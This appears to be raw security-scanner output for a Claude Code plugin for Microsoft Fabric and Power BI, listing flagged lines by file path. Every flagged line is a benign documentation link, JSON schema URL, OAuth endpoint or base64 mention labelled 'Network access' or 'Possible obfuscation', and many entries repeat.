**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 110
2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/ITEM-DEFINITIONS-CORE.md
- Network accessline 37
> Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format - Network accessline 73
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 77
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition - Network accessline 114
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition - Network accessline 157
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition - Network accessline 181
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition - Network accessline 182
> JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche - Network accessline 183
> Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report - Network accessline 212
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition - Network accessline 255
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition - Network accessline 293
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition - Network accessline 340
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition - Network accessline 341
> REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items - Network accessline 370
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 371
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 401
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 402
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 410
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 411
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 421
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 422
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 446
> Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities - Network accessline 509
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition - Network accessline 522
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition - Network accessline 555
| Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 556
|---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http - Network accessline 557
| KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 558
| KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) | - Network accessline 559
| CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) | - Network accessline 560
| Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) | - Network accessline 561
| DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) | - Network accessline 562
| Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) | - Network accessline 563
| EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) | - Network accessline 564
| GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) | - Network accessline 565
| GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) | - Network accessline 566
| HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) | - Network accessline 567
| MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) | - Network accessline 568
| MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) | - Network accessline 569
| MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) | - Network accessline 570
| Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) | - Network accessline 571
| SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) | - Network accessline 573
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 574
> Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/SKILL.md
- Network accessline 139
**Prerequisite: Node.js 20 or later.** Check with `node --version`. If missing or older, install from [nodejs.org](https://nodejs.org/) or via your package - Network accessline 139
**Prerequisite: Node.js 20 or later.** Check with `node --version`. If missing or older, install from [nodejs.org](https://nodejs.org/) or via your package - Network accessline 140
or older, install from [nodejs.org](https://nodejs.org/) or via your package - Network accessline 140
or older, install from [nodejs.org](https://nodejs.org/) or via your package - Network accessline 142
Linux: distro package or [nodesource](https://github.com/nodesource/distributions). - Network accessline 142
Linux: distro package or [nodesource](https://github.com/nodesource/distributions). - Network accessline 323
| Output/error | Meaning | Action | |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask th - Network accessline 323
| Output/error | Meaning | Action | |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask th - Network accessline 324
|--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview fea - Network accessline 324
|--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview fea - Network accessline 325
| `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview feature — see [docs](https://aka.ms/Rep - Network accessline 325
| `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview feature — see [docs](https://aka.ms/Rep - Network accessline 326
| `AMBIGUOUS_DESKTOP_INSTANCE` | More than one Desktop Bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge me - Network accessline 326
| `AMBIGUOUS_DESKTOP_INSTANCE` | More than one Desktop Bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge me - Network accessline 327
| `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported — see [docs](https://aka.ms/Report_Authoring_skill_LearnDocs) | - Network accessline 327
| `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported — see [docs](https://aka.ms/Report_Authoring_skill_LearnDocs) | - Network accessline 410
For Microsoft Learn setup guidance, support constraints, and feature availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs). - Network accessline 410
For Microsoft Learn setup guidance, support constraints, and feature availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs). - Network accessline 411
availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs). - Network accessline 411
availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs).
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/authoring.md
- Network accessline 69
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 69
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 70
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 70
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 89
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 89
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 90
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 90
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 202
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 202
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 203
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 203
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/card.md
- Network accessline 27
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 27
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 28
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 28
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 63
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 63
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 64
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 64
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/cartesian.md
- Network accessline 46
> **Schema version rule:** Copy the `$schema` URL from an existing `visual.json` in the same report. > If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/sc - Network accessline 46
> **Schema version rule:** Copy the `$schema` URL from an existing `visual.json` in the same report. > If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/sc - Network accessline 47
> If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json`. - Network accessline 47
> If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json`. - Network accessline 845
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 845
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 846
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 846
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 881
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 881
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 882
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 882
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 987
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 987
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 988
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 988
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1113
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1113
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1114
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1114
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1297
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1297
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1298
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1298
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/image.md
- Network accessline 32
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 32
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 33
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 33
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 104
- The URL must point **directly to an image file** (e.g., ending in `.jpg`, `.png`, `.gif`, `.bmp`, `.svg`), not a webpage containing the image. - Use **HTTPS** URLs — HTTP may work in Desktop but can be blocked by the Power BI Service. - R - Network accessline 104
- The URL must point **directly to an image file** (e.g., ending in `.jpg`, `.png`, `.gif`, `.bmp`, `.svg`), not a webpage containing the image. - Use **HTTPS** URLs — HTTP may work in Desktop but can be blocked by the Power BI Service. - R - Network accessline 106
- Reference: https://community.fabric.microsoft.com/t5/Desktop/Image-URL-creation/td-p/1910627 - Network accessline 106
- Reference: https://community.fabric.microsoft.com/t5/Desktop/Image-URL-creation/td-p/1910627 - Network accessline 109
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 109
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 110
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 110
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 200
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 200
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 201
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 201
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/map.md
- Network accessline 40
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 40
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 41
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 41
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/powerbi-desktop.md
- Network accessline 152
|--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect - Network accessline 152
|--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect - Network accessline 153
| `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge- - Network accessline 153
| `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge- - Network accessline 154
| `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge-<pid>` | Desktop is running, but the bridge pipe is not available | In Desktop, open **File > Options and settings > Options > Preview features**, enable **Enable externa - Network accessline 154
| `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge-<pid>` | Desktop is running, but the bridge pipe is not available | In Desktop, open **File > Options and settings > Options > Preview features**, enable **Enable externa - Network accessline 155
| `AMBIGUOUS_DESKTOP_INSTANCE` | More than one bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, and retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method - Network accessline 155
| `AMBIGUOUS_DESKTOP_INSTANCE` | More than one bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, and retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method - Network accessline 156
| `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported for this workflow and link [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs) for - Network accessline 156
| `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported for this workflow and link [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs) for
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/shape.md
- Network accessline 18
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 18
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 19
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 19
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 160
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 160
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 161
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 161
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/slicers.md
- Network accessline 67
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 67
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 68
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 68
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 273
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 273
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 274
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 274
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/table.md
- Network accessline 24
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 24
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 25
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 25
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 78
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 78
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 79
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 79
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/textbox.md
- Network accessline 14
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 14
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 15
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 15
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 62
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 62
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 63
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 63
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/theming.md
- Network accessline 132
Set `"$schema"` to a published `reportThemeSchema-<major>.<minor>.json` from the [powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/). - Network accessline 132
Set `"$schema"` to a published `reportThemeSchema-<major>.<minor>.json` from the [powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/). - Network accessline 133
[powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/). - Network accessline 133
[powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/). - Network accessline 531
"icons": { "customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" }, - Network accessline 531
"icons": { "customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" }, - Network accessline 532
"customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" }, - Network accessline 532
"customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" }, - Network accessline 533
"customStar": { "url": "https://example.com/star.svg", "description": "Star rating" } - Network accessline 533
"customStar": { "url": "https://example.com/star.svg", "description": "Star rating" }
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/assets/base.json
- Network accessline 1
{ "$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json", - Network accessline 1
{ "$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json", - Network accessline 2
"$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json", - Network accessline 2
"$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-management/SKILL.md
- Possible obfuscationline 52
| `base64` | Encode/decode PBIR file content for definition payloads | Built-in on Linux/macOS · Windows: use PowerShell `[Convert]::ToBase64String()` / `FromBase64String()` | - Possible obfuscationline 52
| `base64` | Encode/decode PBIR file content for definition payloads | Built-in on Linux/macOS · Windows: use PowerShell `[Convert]::ToBase64String()` / `FromBase64String()` | - Network accessline 55
> > ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" - Network accessline 55
> > ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" - Network accessline 56
> ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" > ``` - Network accessline 56
